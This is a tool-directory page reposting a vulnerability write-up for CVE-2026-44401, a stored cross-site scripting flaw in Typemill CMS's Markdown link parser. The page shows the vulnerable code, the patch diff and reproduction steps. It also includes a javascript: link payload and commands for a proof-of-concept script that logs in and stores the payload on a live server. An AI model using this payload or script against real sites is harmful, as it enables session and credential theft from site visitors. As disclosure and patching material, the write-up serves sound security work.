Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-44401 — Persistent XSS in Typemill CMS: the Markdown parser lets javascript: URIs through unfiltered. Writeup + PoC. | Kitploit
Tools/GitHubGitHub/sn0x-sharma/cve-2026-44401
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & Education
GitHubsn0x-sharma/cve-2026-44401

CVE-2026-44401

Persistent XSS in Typemill CMS: the Markdown parser lets javascript: URIs through unfiltered. Writeup + PoC.

View Repository
2229 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
ChatGPT Image Aug 11, 2026, 02_18_30 PM
CVECVE-2026-44401
CWECWE-79 (Improper Neutralization of Input During Web Page Generation)
Affectedtypemill/typemill >= 2.0.0, < 2.23.0
Fixed inv2.23.0 (commit 31b72ea)
Auth requiredYes any role with system:update ACL rights (admin or manager by default)
CVSS (reporter)7.6 / Medium-High
CVSS-B (VulnCheck, v4.0)4.6 CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:N/VI:L/VA:L/SC:N/SI:L/SA:L
Creditsn0x (@sn0x-sharma)
AdvisoryVulnCheck

Score is Medium rather than Critical because it needs PR:H (theme-config privilege) + UI:A (a victim has to click the link) — but the payload is stored, so it fires for every visitor who does.

Summary

Typemill is a flat-file Markdown CMS. Its Markdown parser does not validate the URI scheme of link targets before writing them into an href attribute. A user with theme-configuration access (e.g. the Landingpage Intro Segment text field, which accepts raw Markdown) can store a javascript: link. It renders unescaped on the public homepage and executes in the browser of anyone who clicks it persistent (stored) XSS.

Root Cause

ParsedownExtension::inlineLink() — system/typemill/Extensions/ParsedownExtension.php, lines 934–996 (v2.22.0, last vulnerable tag).

Relative and media/ links get a base-URL prefix, but nothing checks the URI scheme before it's assigned to href:

root@kitploit:~
# start typemill: if relative link or media-link
$href = $matches[1];
if($href[0] == '/')
{
    $href = $this->baseUrl . $href;
}
elseif(substr( $href, 0, 6 ) === "media/")
{
    $href = $this->baseUrl . '/' . $href;
}
# end typemill

$Element['attributes']['href'] = $href;   // <-- no scheme validation

[Click me](javascript:alert(document.domain)) → <a href="javascript:alert(document.domain)">Click me</a>.

Rendering path for this specific sink: themes/cyanine/home/landingpageIntro.twig → TwigMarkdownExtension.php → ParsedownExtension.php. Any other theme field that runs user Markdown through the same parser is equally affected.

The fix (v2.23.0)

root@kitploit:~
              # end typemill
-
+
+             # block dangerous URI schemes (e.g. javascript:, vbscript:, data:)
+             $scheme = parse_url($href, PHP_URL_SCHEME);
+             if ($scheme !== null && !in_array(strtolower($scheme), ['http', 'https', 'mailto', 'ftp'], true))
+             {
+                 $href = '#';
+             }
+
              $Element['attributes']['href'] = $href;

Same allowlist (http, https, mailto, ftp) proposed in the original report. Confirmed by diffing ParsedownExtension.php between the v2.22.0 and v2.23.0 tags.

Privilege Note

The theme-settings routes (GET /tm/themes, POST /api/v1/theme) are gated on the system/update ACL resource — per Typemill's own route definitions (routes/web.php, routes/api.php) this is granted to the manager role by default, not just admin. So the exposure isn't limited to the top-level administrator account.

Steps to Reproduce

  1. Log in as a user with theme-configuration access → System → Themes → Configure (active theme, e.g. Cyanine).

    image
  2. Expand Landingpage Intro Segment → in "Text for your landingpage intro (use markdown)", enter:

    root@kitploit:~
    [Click me](javascript:alert(document.domain))
    
    image
  3. Save. Visit the homepage as any user and click the link → JS executes in that visitor's session.

    image

Proof of Concept

CVE-2026-44401_POC.py - two modes:

root@kitploit:~
# Offline: exercises the parser directly against a Typemill checkout
# (composer install already run, so vendor/ exists)
python3 CVE-2026-44401_POC.py local --source /path/to/typemill

# ...or straight against a running container, same way it was originally verified
python3 CVE-2026-44401_POC.py local --docker typemill --container-path /var/www/html

# Live: logs in, stores the payload via the theme-settings API, confirms the
# raw javascript: href on the public homepage, restores the original value
python3 CVE-2026-44401_POC.py remote --url http://localhost:8080 \
    --username admin --password '********'

Minimal manual repro (what the report was verified with):

root@kitploit:~
php -r '
  require "vendor/autoload.php";
  require "system/typemill/Extensions/ParsedownExtension.php";
  $p = new \Typemill\Extensions\ParsedownExtension("",[],null);
  echo $p->markup($p->text("[x](javascript:alert(1))"));
'
# vulnerable: <p><a href="javascript:alert(1)">x</a></p>
# patched:    <p><a href="#">x</a></p>

Impact

  • Admin/manager session hijacking (cookie theft)
  • Credential theft via injected forms/redirects
  • Chaining into further authenticated actions as the victim

References

  • Typemill repository
  • Fixed release — v2.23.0
  • VulnCheck advisory
Download Tool